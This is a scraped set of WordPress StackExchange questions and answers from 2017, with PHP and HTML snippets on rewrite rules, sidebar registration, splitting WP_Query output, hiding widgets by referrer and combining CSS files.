After noodling around on the web to figure out how to add additional jquery features to a WP page, a question follows. After 'enqueue-ing' a js/jquery file in the theme's function.php file and then adding some js/jquery (see example below) directly onto a page via the edit text feature in the control panel to call the extended jquery feature in the enqueue-ed file, the desired feature works on the page. Is it considered bad practice to add js/jquery scripts in their tags directly to a page? Example: ``` <script> jQuery(document).ready(function( $ ) { $("#someID").somePlugin(); }); </script> ```
Can you please try clearing out your cache and cookies using the guide below? <http://en.support.wordpress.com/browser-issues/#clear-your-cache-and-cookies> Also, please make sure your browser is updated to the most recent version: <http://browsehappy.com> Then, finally try testing on browsers like Google Chrome and Firefox. Also can you check if copying works in **`Text Mode`** or not ? --- **Update** : May be there is some plugin thats causing the issue. Try disabling all the plugin at once. And enable them one by one to detect the plugin that's causing the issue. --- **Update** : Change your theme to Wordpress default Twenty Seventeen theme and check if it solves your problem. If it does then there is some problem with the theme.
267,261
<p>i am new in wordpress and i am sorry for my english. May be my title is wrong. sorry for that. </p> <p>My question is like that.</p> <p>I have too many custom post types. I need some pages for a specific custom post type.</p> <p>For example: I have musics, books and movies. I want to create a template for them like that; <a href="http://example.com/book/a-book-name/author" rel="nofollow noreferrer">http://example.com/book/a-book-name/author</a> <a href="http://example.com/movie/a-movie-name/director" rel="nofollow noreferrer">http://example.com/movie/a-movie-name/director</a></p> <p>How can I do that? Thank you for helping and sorry for my english.</p>
[ { "answer_id": 267264, "author": "Edu Membrillas", "author_id": 111714, "author_profile": "https://wordpress.stackexchange.com/users/111714", "pm_score": 0, "selected": false, "text": "<p>Ok, look. When you create the custom post. you must add this lines. If you see, you add .. 'supports' => array('page-attributes'... this option show a select in your post for choose the parent post.</p>\n\n<pre><code>register_post_type(\n 'my_post_type',\n array(\n 'hierarchical' =&gt; true,\n 'public' =&gt; true,\n 'rewrite' =&gt; array(\n 'slug' =&gt; 'my_post_type',\n 'with_front' =&gt; false,\n ),\n 'supports' =&gt; array(\n 'page-attributes' /* This will show the post parent field */,\n 'title',\n 'editor',\n 'something-else',\n ),\n // Other arguments\n )\n);\n</code></pre>\n" }, { "answer_id": 267267, "author": "Milo", "author_id": 4771, "author_profile": "https://wordpress.stackexchange.com/users/4771", "pm_score": 2, "selected": true, "text": "<p>You can add a rewrite tag and rules that capture anything after the post name:</p>\n\n<pre><code>function wpd_add_rewrites(){\n\n add_rewrite_tag( '%my_page%', '(.+)' );\n\n $post_types = array(\n 'movie',\n 'book',\n 'album'\n );\n\n foreach( $post_types as $post_type ){\n add_rewrite_rule(\n '^' . $post_type . '/([^/]*)/([^/]*)/?',\n 'index.php?post_type=' . $post_type . '&amp;name=$matches[1]&amp;my_page=$matches[2]',\n 'top'\n );\n }\n\n}\nadd_action( 'init', 'wpd_add_rewrites' );\n</code></pre>\n\n<p>Don't forget, you must flush rewrite rules after adding / changing them. You can do this quickly by just visiting the Settings > Permalinks page.</p>\n\n<p>You can then check the value of <code>my_page</code> anywhere after the <code>wp</code> action:</p>\n\n<pre><code>echo get_query_var( 'my_page' );\n</code></pre>\n" } ]
2017/05/18
[ "https://wordpress.stackexchange.com/questions/267261", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119908/" ]
i am new in wordpress and i am sorry for my english. May be my title is wrong. sorry for that. My question is like that. I have too many custom post types. I need some pages for a specific custom post type. For example: I have musics, books and movies. I want to create a template for them like that; <http://example.com/book/a-book-name/author> <http://example.com/movie/a-movie-name/director> How can I do that? Thank you for helping and sorry for my english.
You can add a rewrite tag and rules that capture anything after the post name: ``` function wpd_add_rewrites(){ add_rewrite_tag( '%my_page%', '(.+)' ); $post_types = array( 'movie', 'book', 'album' ); foreach( $post_types as $post_type ){ add_rewrite_rule( '^' . $post_type . '/([^/]*)/([^/]*)/?', 'index.php?post_type=' . $post_type . '&name=$matches[1]&my_page=$matches[2]', 'top' ); } } add_action( 'init', 'wpd_add_rewrites' ); ``` Don't forget, you must flush rewrite rules after adding / changing them. You can do this quickly by just visiting the Settings > Permalinks page. You can then check the value of `my_page` anywhere after the `wp` action: ``` echo get_query_var( 'my_page' ); ```
267,270
<p>I am facing problems with the sidebar widgets.I have registered sidebar and used wp default sidebars but it is neither within its container div not printing <code>before_widget</code> and <code>after_widget</code></p> <pre><code>add_action( 'widgets_init', 'my_sidebar_widget' ); function my_sidebar_widget(){ register_sidebar( array( 'name' =&gt; __('Home Page Sidebar', 'nefar'), 'id' =&gt; 'sidebar-1', 'before_widget' =&gt; '&lt;div class="sidebar-block"&gt;', 'before_widget' =&gt; '&lt;/div&gt;', 'before_title' =&gt; '&lt;h4 class="sidebar-heading"&gt;', 'after_title' =&gt; '&lt;/h4&gt;', )); } </code></pre> <h2>And the index.php codes are here</h2> <pre><code>&lt;?php get_header(); ?&gt; &lt;div class="container"&gt; &lt;div class="row"&gt; &lt;div class="col-md-8"&gt; &lt;?php if(have_posts()){ while(have_posts()){ the_post(); ?&gt; &lt;h3&gt;&lt;?php the_title(); ?&gt;&lt;/h3&gt; &lt;?php } } ?&gt; &lt;/div&gt; &lt;div class="col-md-4"&gt; &lt;?php dynamic_sidebar('sidebar-1'); ?&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php get_footer(); </code></pre> <h2>And on output page source code</h2> <pre><code>&lt;div class="container"&gt; &lt;div class="row"&gt; &lt;div class="col-md-8"&gt; &lt;h3&gt;The 15 Secrets That You Shouldn&amp;#8217;t Know About Toys.&lt;/h3&gt; &lt;h3&gt;eMusic’s owners believe they can convince users start buying songs again&lt;/h3&gt; &lt;h3&gt;Twitter invokes the allure of one of its biggest users for its billboard ads&lt;/h3&gt; &lt;h3&gt;Spring Asparagus with Creamy Burrata &amp;#038; Pesto&lt;/h3&gt; &lt;h3&gt;Falling Leaves: Endearing Portraits of a Grandmother, a Grandson&lt;/h3&gt; &lt;/div&gt; &lt;div class="col-md-4"&gt; &lt;/div&gt;&lt;h4 class="sidebar-heading"&gt;Search&lt;/h4&gt;&lt;form role="search" method="get" id="searchform" class="searchform" action="http://localhost/wordpress/"&gt; &lt;div&gt; &lt;label class="screen-reader-text" for="s"&gt;Search for:&lt;/label&gt; &lt;input type="text" value="" name="s" id="s" /&gt; &lt;input type="submit" id="searchsubmit" value="Search" /&gt; &lt;/div&gt; &lt;/form&gt;&lt;/li&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p></p> <p>I Don't know whre the </li> is coming from after the widget and the widget is outside <code>col-md-4</code></p>
[ { "answer_id": 267271, "author": "Porosh Ahammed", "author_id": 68186, "author_profile": "https://wordpress.stackexchange.com/users/68186", "pm_score": 0, "selected": false, "text": "<p>You make some mistake. Use this:</p>\n\n<pre><code>add_action( 'widgets_init', 'my_sidebar_widget' );\nfunction my_sidebar_widget(){\n register_sidebar( array(\n 'name' =&gt; __('Home Page Sidebar', 'nefar'),\n 'id' =&gt; 'sidebar-1',\n 'before_widget' =&gt; '&lt;div id=\"%1$s\" class=\"widget %2$s sidebar-block\"&gt;',\n 'after_widget' =&gt; '&lt;/div&gt;',\n 'before_title' =&gt; '&lt;h4 class=\"sidebar-heading\"&gt;',\n 'after_title' =&gt; '&lt;/h4&gt;',\n )); \n}\n</code></pre>\n" }, { "answer_id": 267272, "author": "Jignesh Patel", "author_id": 111556, "author_profile": "https://wordpress.stackexchange.com/users/111556", "pm_score": 0, "selected": false, "text": "<pre><code>add_action( 'widgets_init', 'my_sidebar_widget' );\n\n function my_sidebar_widget(){\n register_sidebar( array(\n 'name' =&gt; __('Home Page Sidebar', 'nefar'),\n 'id' =&gt; 'sidebar-1',\n 'before_widget' =&gt; '&lt;div class=\"sidebar-block\"&gt;', \n 'after_widget' =&gt; '&lt;/div&gt;', \n 'before_title' =&gt; '&lt;h4 class=\"sidebar-heading\"&gt;',\n 'after_title' =&gt; '&lt;/h4&gt;',\n )); \n }\n</code></pre>\n\n<p>I hope is useful.</p>\n" }, { "answer_id": 267275, "author": "dheeraj Kumar", "author_id": 110140, "author_profile": "https://wordpress.stackexchange.com/users/110140", "pm_score": 1, "selected": false, "text": "<p>first add this code to functions.php</p>\n\n<pre><code>register_sidebar(array(\n 'name' =&gt; __('Top Footer', 'educate'),\n 'id' =&gt; 'top-footer',\n 'description' =&gt; __('Top Full width footer.', 'educate'),\n 'before_widget' =&gt; '&lt;div class=\"footer-widget %2$s\" id=\"%1$s\" &gt;',\n 'after_widget' =&gt; '&lt;/div&gt;',\n 'before_title' =&gt; '&lt;h3 class=\"footer-widget-title\"&gt;',\n 'after_title' =&gt; '&lt;/h3&gt;',\n ));\n</code></pre>\n\n<p>after add this code where you want to show widget </p>\n\n<pre><code> &lt;?php if (is_active_sidebar('top-footer')) {\n\n if (is_active_sidebar('top-footer')) {\n echo '&lt;aside class=\"col-md-12 col-sm-6\"&gt;';\n dynamic_sidebar('top-footer');\n echo '&lt;/aside&gt;';\n }\n\n\n } ?&gt;\n</code></pre>\n" } ]
2017/05/18
[ "https://wordpress.stackexchange.com/questions/267270", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/108233/" ]
I am facing problems with the sidebar widgets.I have registered sidebar and used wp default sidebars but it is neither within its container div not printing `before_widget` and `after_widget` ``` add_action( 'widgets_init', 'my_sidebar_widget' ); function my_sidebar_widget(){ register_sidebar( array( 'name' => __('Home Page Sidebar', 'nefar'), 'id' => 'sidebar-1', 'before_widget' => '<div class="sidebar-block">', 'before_widget' => '</div>', 'before_title' => '<h4 class="sidebar-heading">', 'after_title' => '</h4>', )); } ``` And the index.php codes are here -------------------------------- ``` <?php get_header(); ?> <div class="container"> <div class="row"> <div class="col-md-8"> <?php if(have_posts()){ while(have_posts()){ the_post(); ?> <h3><?php the_title(); ?></h3> <?php } } ?> </div> <div class="col-md-4"> <?php dynamic_sidebar('sidebar-1'); ?> </div> </div> </div> <?php get_footer(); ``` And on output page source code ------------------------------ ``` <div class="container"> <div class="row"> <div class="col-md-8"> <h3>The 15 Secrets That You Shouldn&#8217;t Know About Toys.</h3> <h3>eMusic’s owners believe they can convince users start buying songs again</h3> <h3>Twitter invokes the allure of one of its biggest users for its billboard ads</h3> <h3>Spring Asparagus with Creamy Burrata &#038; Pesto</h3> <h3>Falling Leaves: Endearing Portraits of a Grandmother, a Grandson</h3> </div> <div class="col-md-4"> </div><h4 class="sidebar-heading">Search</h4><form role="search" method="get" id="searchform" class="searchform" action="http://localhost/wordpress/"> <div> <label class="screen-reader-text" for="s">Search for:</label> <input type="text" value="" name="s" id="s" /> <input type="submit" id="searchsubmit" value="Search" /> </div> </form></li> </div> </div> ``` I Don't know whre the is coming from after the widget and the widget is outside `col-md-4`
first add this code to functions.php ``` register_sidebar(array( 'name' => __('Top Footer', 'educate'), 'id' => 'top-footer', 'description' => __('Top Full width footer.', 'educate'), 'before_widget' => '<div class="footer-widget %2$s" id="%1$s" >', 'after_widget' => '</div>', 'before_title' => '<h3 class="footer-widget-title">', 'after_title' => '</h3>', )); ``` after add this code where you want to show widget ``` <?php if (is_active_sidebar('top-footer')) { if (is_active_sidebar('top-footer')) { echo '<aside class="col-md-12 col-sm-6">'; dynamic_sidebar('top-footer'); echo '</aside>'; } } ?> ```
267,276
<p>I've a custom <code>WP_Query</code> something like this:</p> <pre><code>$query_args = array( 'post_type' =&gt; 'post', 'cat' =&gt; 12, 'posts_per_page' =&gt; 5 ); $custom_query = new WP_Query($query_args); </code></pre> <p>Now, I need to split the results of this query in 3 sets, first set will have the first post only, the second set will have 2nd and 3rd posts and then the third set will have 4th and 5th posts.</p> <p>The reason for this split is that entries in each set will have different outer and inner markup, outer markup is something like this:</p> <pre><code>&lt;div class="column" data-span="6"&gt;1st Post Here&lt;/div&gt; &lt;div class="column" data-span="3"&gt;2nd + 3rd Posts Here&lt;/div&gt; &lt;div class="column" data-span="3"&gt;4th + 5th Posts Here&lt;/div&gt; </code></pre> <p>Is there is any way to print 1st post in the first div, pause the query, then resume the query in the second div, pause and the further resume the query in the third div?</p>
[ { "answer_id": 267277, "author": "Porosh Ahammed", "author_id": 68186, "author_profile": "https://wordpress.stackexchange.com/users/68186", "pm_score": -1, "selected": false, "text": "<p>I think you can't do this with single query. You have to use multiple query with post number.</p>\n\n<p>It would be better using custom field slug.</p>\n\n<pre><code>$slider = new WP_Query(array(\n 'post_type' =&gt; 'post',\n 'posts_per_page' =&gt; 5,\n 'cat' =&gt; 12,\n 'post_status' =&gt; 'publish',\n 'meta_query' =&gt; array(\n array(\n 'key' =&gt; 'slider_key',\n 'value' =&gt; 'slider',\n 'compare' =&gt; 'IN'\n ) \n )\n\n\n));\n</code></pre>\n" }, { "answer_id": 267279, "author": "Aniruddha Gawade", "author_id": 101818, "author_profile": "https://wordpress.stackexchange.com/users/101818", "pm_score": 0, "selected": false, "text": "<p>You can write html conditionally, using <code>if</code> statement to check index and printing html based on that.</p>\n\n<p>Something like: </p>\n\n<pre><code>$custom_query = new WP_Query($query_args);\n$i = 1;\nwhile($custom_query-&gt;have_posts()): the_post();\n if($i == 1){?&gt; \n &lt;div class=\"column\" data-span=\"6\"&gt;1st Post Here&lt;/div&gt; &lt;?php }\n elseif($i == 2 || $i == 3){?&gt; \n &lt;div class=\"column\" data-span=\"6\"&gt;1st Post Here&lt;/div&gt; \n &lt;?php }\n else{?&gt; \n &lt;div class=\"column\" data-span=\"6\"&gt;1st Post Here&lt;/div&gt; \n &lt;?php }\nendwhile;\n</code></pre>\n\n<p>If only difference is <code>data-span</code> in your html, you can skip second condition and use</p>\n\n<pre><code>&lt;div class=\"column\" data-span=\"&lt;?php echo ($i==1)?6:3;?&gt;\"&gt;your Post Here&lt;/div&gt;\n</code></pre>\n" }, { "answer_id": 267287, "author": "Ben HartLenn", "author_id": 6645, "author_profile": "https://wordpress.stackexchange.com/users/6645", "pm_score": 1, "selected": false, "text": "<p>I think the best way to approach this might be to run your WP_Query just one time, but then access the stored query results three times to output each wanted set of data. This will save you from using multiple DB queries, and by using three separate loops, you can still add a parent div to each set of posts as desired. Here's the concept I came up with:</p>\n\n<pre><code>&lt;div id=\"main-content\"&gt;\n\n &lt;?php \n $q = new WP_Query([\n 'post_type' =&gt; 'post',\n 'posts_per_page' =&gt; 6\n ]);\n\n $posts = $q-&gt;posts;\n ?&gt;\n\n &lt;div id=\"set_1\" class=\"column\" data-span=\"6\"&gt;\n &lt;?php\n $c = 0;\n foreach ($posts as $a_post) {\n $c++;\n if( $c==1 ) {\n echo $a_post-&gt;post_title . \" - Post #$c&lt;br&gt;\";\n break;\n }\n }\n ?&gt;\n &lt;/div&gt;\n\n &lt;div id=\"set_2\" class=\"column\" data-span=\"3\"&gt;\n &lt;?php\n $c = 0;\n foreach ($posts as $a_post) {\n $c++;\n if( $c==2 || $c==3 ) {\n echo $a_post-&gt;post_title . \" - Post #$c&lt;br&gt;\";\n }\n }\n ?&gt;\n &lt;/div&gt;\n\n &lt;div id=\"set_3\" class=\"column\" data-span=\"3\"&gt;\n &lt;?php\n $c = 0;\n foreach ($posts as $a_post) {\n $c++;\n if( $c==4 || $c==5 ) {\n echo $a_post-&gt;post_title . \" - Post #$c&lt;br&gt;\";\n }\n }\n ?&gt;\n &lt;/div&gt;\n\n&lt;/div&gt;&lt;!-- end #main-content --&gt;\n</code></pre>\n" }, { "answer_id": 290485, "author": "Patrick Oliveira", "author_id": 121623, "author_profile": "https://wordpress.stackexchange.com/users/121623", "pm_score": 0, "selected": false, "text": "<p>Try this:</p>\n\n<p>You will use the variable $gottenposts to save the printed posts ids.Then you will make a new query when you want to show the other posts excluding the posts already printed.</p>\n\n<p>Your first query</p>\n\n<pre><code>&lt;?php $gottenposts = array(); //here you will save the posts ids\n$args = array('post_type' =&gt; 'post', 'posts_per_page' =&gt; 6); \n$query = new WP_Query($args); \nif($query-&gt;have_posts()) : \n while($query-&gt;have_posts()) : \n $query-&gt;the_post();?&gt;\n //your HTML code here\n&lt;?php endwhile; endif; ?&gt;\n</code></pre>\n\n<p>Your second query</p>\n\n<pre><code>&lt;?php $args = array('post_type' =&gt; 'post', 'posts_per_page' =&gt; -1, 'post__not_in' =&gt; $gottenposts ?&gt;\n//ETC...\n</code></pre>\n\n<p>Hope this helps!</p>\n" } ]
2017/05/18
[ "https://wordpress.stackexchange.com/questions/267276", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/45269/" ]
I've a custom `WP_Query` something like this: ``` $query_args = array( 'post_type' => 'post', 'cat' => 12, 'posts_per_page' => 5 ); $custom_query = new WP_Query($query_args); ``` Now, I need to split the results of this query in 3 sets, first set will have the first post only, the second set will have 2nd and 3rd posts and then the third set will have 4th and 5th posts. The reason for this split is that entries in each set will have different outer and inner markup, outer markup is something like this: ``` <div class="column" data-span="6">1st Post Here</div> <div class="column" data-span="3">2nd + 3rd Posts Here</div> <div class="column" data-span="3">4th + 5th Posts Here</div> ``` Is there is any way to print 1st post in the first div, pause the query, then resume the query in the second div, pause and the further resume the query in the third div?
I think the best way to approach this might be to run your WP\_Query just one time, but then access the stored query results three times to output each wanted set of data. This will save you from using multiple DB queries, and by using three separate loops, you can still add a parent div to each set of posts as desired. Here's the concept I came up with: ``` <div id="main-content"> <?php $q = new WP_Query([ 'post_type' => 'post', 'posts_per_page' => 6 ]); $posts = $q->posts; ?> <div id="set_1" class="column" data-span="6"> <?php $c = 0; foreach ($posts as $a_post) { $c++; if( $c==1 ) { echo $a_post->post_title . " - Post #$c<br>"; break; } } ?> </div> <div id="set_2" class="column" data-span="3"> <?php $c = 0; foreach ($posts as $a_post) { $c++; if( $c==2 || $c==3 ) { echo $a_post->post_title . " - Post #$c<br>"; } } ?> </div> <div id="set_3" class="column" data-span="3"> <?php $c = 0; foreach ($posts as $a_post) { $c++; if( $c==4 || $c==5 ) { echo $a_post->post_title . " - Post #$c<br>"; } } ?> </div> </div><!-- end #main-content --> ```
267,280
<p>I have widgets on my home page, I also have a landing page with subscribe form. when a user does subscribe, he redirects to home page. The home page is also available via the link to view.</p> <p>The homepage has complete setup having different widgets and text.</p> <p>Now I want when user fill subscribes form and he redirected to the homepage, a specific widget in footer must be disabled, while if the user comes to homepage directly all the widgets must be available.</p> <p>Kindly help me, a thought coming to me this can be done via sessions like I can maintain a session when user come from subscribing page and on the home page I check if the session value matches I will hide widget.</p> <p>But can you suggest a proper way or plugin do this thing that will help me?</p>
[ { "answer_id": 267291, "author": "cjbj", "author_id": 75495, "author_profile": "https://wordpress.stackexchange.com/users/75495", "pm_score": 1, "selected": false, "text": "<p>There is a function called <a href=\"https://codex.wordpress.org/Function_Reference/wp_get_referer\" rel=\"nofollow noreferrer\"><code>wp_get_referrer</code></a> that you can use to see from which page a user is reaching the home page. Usage:</p>\n\n<pre><code>if (is_home() &amp;&amp; (wp_get_referrer() == 'url/subscription/page')) {\n ... show page without widget\n }\nelse {\n ... show page with widget\n }\n</code></pre>\n\n<p>Now, there is no built in way to use this condition to show/hide a widget. So, there are roughtly two possibilities:</p>\n\n<ol>\n<li>If you have built the widget yourself, you can put the condition inside the widget and show nothing if the condition is met.</li>\n<li>Otherwise, your best course of action is to build a child theme where you conditionally <a href=\"https://codex.wordpress.org/Function_Reference/register_sidebar\" rel=\"nofollow noreferrer\">register a sidebar</a> to put the widget in. If the condition is met, there will be no sidebar and hence no widget.</li>\n</ol>\n" }, { "answer_id": 292186, "author": "Jeffrey Carandang", "author_id": 29136, "author_profile": "https://wordpress.stackexchange.com/users/29136", "pm_score": 0, "selected": false, "text": "<p>The easiest solution is using WordPress plugin. You can use <a href=\"https://wordpress.org/plugins/widget-options/\" rel=\"nofollow noreferrer\">Widget Options for WordPress</a> to hide the widget. Using the Display Widget Logic feature you can add <code>(is_home() &amp;&amp; (wp_get_referrer() == 'url/subscription/page'))</code> as value. Refer to the screenshot below.</p>\n\n<p><a href=\"https://i.stack.imgur.com/eMNvE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eMNvE.png\" alt=\"enter image description here\"></a></p>\n" } ]
2017/05/18
[ "https://wordpress.stackexchange.com/questions/267280", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119915/" ]
I have widgets on my home page, I also have a landing page with subscribe form. when a user does subscribe, he redirects to home page. The home page is also available via the link to view. The homepage has complete setup having different widgets and text. Now I want when user fill subscribes form and he redirected to the homepage, a specific widget in footer must be disabled, while if the user comes to homepage directly all the widgets must be available. Kindly help me, a thought coming to me this can be done via sessions like I can maintain a session when user come from subscribing page and on the home page I check if the session value matches I will hide widget. But can you suggest a proper way or plugin do this thing that will help me?
There is a function called [`wp_get_referrer`](https://codex.wordpress.org/Function_Reference/wp_get_referer) that you can use to see from which page a user is reaching the home page. Usage: ``` if (is_home() && (wp_get_referrer() == 'url/subscription/page')) { ... show page without widget } else { ... show page with widget } ``` Now, there is no built in way to use this condition to show/hide a widget. So, there are roughtly two possibilities: 1. If you have built the widget yourself, you can put the condition inside the widget and show nothing if the condition is met. 2. Otherwise, your best course of action is to build a child theme where you conditionally [register a sidebar](https://codex.wordpress.org/Function_Reference/register_sidebar) to put the widget in. If the condition is met, there will be no sidebar and hence no widget.
267,292
<p>I have an idea. And I hope it is already implemented somehow. </p> <p>Here is an example of CSS files in the head of a page</p> <pre><code>&lt;link rel='stylesheet' id='validate-engine-css-css' href='https://example.net/wp-content/plugins/wysija-newsletters/css/A.validationEngine.jquery.css,qver=2.7.10.pagespeed.cf.jcn-RfgU3K.css' type='text/css' media='all'/&gt; &lt;link rel='stylesheet' id='cresta-social-crestafont-css' href='https://example.net/wp-content/plugins/cresta-social-share-counter/css/A.csscfont.css,qver=2.6.8.pagespeed.cf.g-Qv5WAJKD.css' type='text/css' media='all'/&gt; &lt;link rel='stylesheet' id='cresta-social-wp-style-css' href='https://example.net/wp-content/plugins/cresta-social-share-counter/css/A.cresta-wp-css.css,qver=2.6.8.pagespeed.cf.cfwDMPSSsV.css' type='text/css' media='all'/&gt; &lt;link rel='stylesheet' id='cresta-social-googlefonts-css' href='//fonts.googleapis.com/css?family=Noto+Sans:400,700' type='text/css' media='all'/&gt; &lt;link rel='stylesheet' id='dashicons-css' href='https://example.net/wp-includes/css/dashicons.min.css,qver=4.7.5.pagespeed.ce.zzwOjyb-IC.css' type='text/css' media='all'/&gt; &lt;style id='post-views-counter-frontend-css' media='all'&gt;.post-views.entry-meta&gt;span{margin-right:0!important;font: 16px/1}.post-views.entry-meta&gt;span.post-views-icon.dashicons{display:inline-block;font-size:16px;line-height:1;text-decoration:inherit;vertical-align:middle}&lt;/style&gt; &lt;link rel='stylesheet' id='sop-style-css' href='https://example.net/wp-content/plugins/series-of-posts//frontend/css/sop.css?ver=4.7.5' type='text/css' media='all'/&gt; &lt;link rel='stylesheet' id='sab-plugin-css' href='https://example.net/wp-content/plugins/simple-author-box/css/simple-author-box.min.css,qver=v1.5.pagespeed.ce.2xFwzLgGe9.css' type='text/css' media='all'/&gt; &lt;link rel='stylesheet' id='bootstrap-css-css' href='https://example.net/wp-content/themes/crosp-blog/css/blog/dependencies/A.bootstrap.min.css,qver=4.7.5.pagespeed.cf.sVmeEoDrxv.css' type='text/css' media='all'/&gt; &lt;link rel='stylesheet' id='body-fonts-css' href='https://fonts.googleapis.com/css?family=Roboto%3A100%2C300%2C400%2C500%2C700&amp;#038;ver=4.7.5' type='text/css' media='all'/&gt; &lt;link rel='stylesheet' id='common-style-css' href='https://example.net/wp-content/themes/crosp-blog/A.style.css,qver=4.7.5.pagespeed.cf.B1xVDnwTuf.css' type='text/css' media='all'/&gt; &lt;link rel='stylesheet' id='wpygments-style-native-css' href='https://example.net/wp-content/plugins/wp-pygments-highlighter/css/generated/A.native.css,qver=4.7.5.pagespeed.cf.l8mnePj7pl.css' type='text/css' media='all'/&gt; </code></pre> <p>As you can see I am using a lot of plugins.</p> <p>And already use the <code>Google Page Speed</code> module.</p> <p>So the idea is really simple, register the hook <code>wp_enqueue_style</code> or <code>wp_head</code>, when first request is made or for example, using cronjob. Some function will get all registered styles and combine them into a single CSS file. Of course order should be respected. </p> <p>As a result it will cache one CSS file, that will include all styles from different plugins and whenever I want to update the cached CSS file, I can just remove it.</p> <p>This will make a page loading much faster.</p> <p>I can implement this by myself, but I wonder whether there is any existing solution implements such idea.</p> <p>I would be grateful for any advice.</p>
[ { "answer_id": 267291, "author": "cjbj", "author_id": 75495, "author_profile": "https://wordpress.stackexchange.com/users/75495", "pm_score": 1, "selected": false, "text": "<p>There is a function called <a href=\"https://codex.wordpress.org/Function_Reference/wp_get_referer\" rel=\"nofollow noreferrer\"><code>wp_get_referrer</code></a> that you can use to see from which page a user is reaching the home page. Usage:</p>\n\n<pre><code>if (is_home() &amp;&amp; (wp_get_referrer() == 'url/subscription/page')) {\n ... show page without widget\n }\nelse {\n ... show page with widget\n }\n</code></pre>\n\n<p>Now, there is no built in way to use this condition to show/hide a widget. So, there are roughtly two possibilities:</p>\n\n<ol>\n<li>If you have built the widget yourself, you can put the condition inside the widget and show nothing if the condition is met.</li>\n<li>Otherwise, your best course of action is to build a child theme where you conditionally <a href=\"https://codex.wordpress.org/Function_Reference/register_sidebar\" rel=\"nofollow noreferrer\">register a sidebar</a> to put the widget in. If the condition is met, there will be no sidebar and hence no widget.</li>\n</ol>\n" }, { "answer_id": 292186, "author": "Jeffrey Carandang", "author_id": 29136, "author_profile": "https://wordpress.stackexchange.com/users/29136", "pm_score": 0, "selected": false, "text": "<p>The easiest solution is using WordPress plugin. You can use <a href=\"https://wordpress.org/plugins/widget-options/\" rel=\"nofollow noreferrer\">Widget Options for WordPress</a> to hide the widget. Using the Display Widget Logic feature you can add <code>(is_home() &amp;&amp; (wp_get_referrer() == 'url/subscription/page'))</code> as value. Refer to the screenshot below.</p>\n\n<p><a href=\"https://i.stack.imgur.com/eMNvE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eMNvE.png\" alt=\"enter image description here\"></a></p>\n" } ]
2017/05/18
[ "https://wordpress.stackexchange.com/questions/267292", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/93387/" ]
I have an idea. And I hope it is already implemented somehow. Here is an example of CSS files in the head of a page ``` <link rel='stylesheet' id='validate-engine-css-css' href='https://example.net/wp-content/plugins/wysija-newsletters/css/A.validationEngine.jquery.css,qver=2.7.10.pagespeed.cf.jcn-RfgU3K.css' type='text/css' media='all'/> <link rel='stylesheet' id='cresta-social-crestafont-css' href='https://example.net/wp-content/plugins/cresta-social-share-counter/css/A.csscfont.css,qver=2.6.8.pagespeed.cf.g-Qv5WAJKD.css' type='text/css' media='all'/> <link rel='stylesheet' id='cresta-social-wp-style-css' href='https://example.net/wp-content/plugins/cresta-social-share-counter/css/A.cresta-wp-css.css,qver=2.6.8.pagespeed.cf.cfwDMPSSsV.css' type='text/css' media='all'/> <link rel='stylesheet' id='cresta-social-googlefonts-css' href='//fonts.googleapis.com/css?family=Noto+Sans:400,700' type='text/css' media='all'/> <link rel='stylesheet' id='dashicons-css' href='https://example.net/wp-includes/css/dashicons.min.css,qver=4.7.5.pagespeed.ce.zzwOjyb-IC.css' type='text/css' media='all'/> <style id='post-views-counter-frontend-css' media='all'>.post-views.entry-meta>span{margin-right:0!important;font: 16px/1}.post-views.entry-meta>span.post-views-icon.dashicons{display:inline-block;font-size:16px;line-height:1;text-decoration:inherit;vertical-align:middle}</style> <link rel='stylesheet' id='sop-style-css' href='https://example.net/wp-content/plugins/series-of-posts//frontend/css/sop.css?ver=4.7.5' type='text/css' media='all'/> <link rel='stylesheet' id='sab-plugin-css' href='https://example.net/wp-content/plugins/simple-author-box/css/simple-author-box.min.css,qver=v1.5.pagespeed.ce.2xFwzLgGe9.css' type='text/css' media='all'/> <link rel='stylesheet' id='bootstrap-css-css' href='https://example.net/wp-content/themes/crosp-blog/css/blog/dependencies/A.bootstrap.min.css,qver=4.7.5.pagespeed.cf.sVmeEoDrxv.css' type='text/css' media='all'/> <link rel='stylesheet' id='body-fonts-css' href='https://fonts.googleapis.com/css?family=Roboto%3A100%2C300%2C400%2C500%2C700&#038;ver=4.7.5' type='text/css' media='all'/> <link rel='stylesheet' id='common-style-css' href='https://example.net/wp-content/themes/crosp-blog/A.style.css,qver=4.7.5.pagespeed.cf.B1xVDnwTuf.css' type='text/css' media='all'/> <link rel='stylesheet' id='wpygments-style-native-css' href='https://example.net/wp-content/plugins/wp-pygments-highlighter/css/generated/A.native.css,qver=4.7.5.pagespeed.cf.l8mnePj7pl.css' type='text/css' media='all'/> ``` As you can see I am using a lot of plugins. And already use the `Google Page Speed` module. So the idea is really simple, register the hook `wp_enqueue_style` or `wp_head`, when first request is made or for example, using cronjob. Some function will get all registered styles and combine them into a single CSS file. Of course order should be respected. As a result it will cache one CSS file, that will include all styles from different plugins and whenever I want to update the cached CSS file, I can just remove it. This will make a page loading much faster. I can implement this by myself, but I wonder whether there is any existing solution implements such idea. I would be grateful for any advice.
There is a function called [`wp_get_referrer`](https://codex.wordpress.org/Function_Reference/wp_get_referer) that you can use to see from which page a user is reaching the home page. Usage: ``` if (is_home() && (wp_get_referrer() == 'url/subscription/page')) { ... show page without widget } else { ... show page with widget } ``` Now, there is no built in way to use this condition to show/hide a widget. So, there are roughtly two possibilities: 1. If you have built the widget yourself, you can put the condition inside the widget and show nothing if the condition is met. 2. Otherwise, your best course of action is to build a child theme where you conditionally [register a sidebar](https://codex.wordpress.org/Function_Reference/register_sidebar) to put the widget in. If the condition is met, there will be no sidebar and hence no widget.
267,305
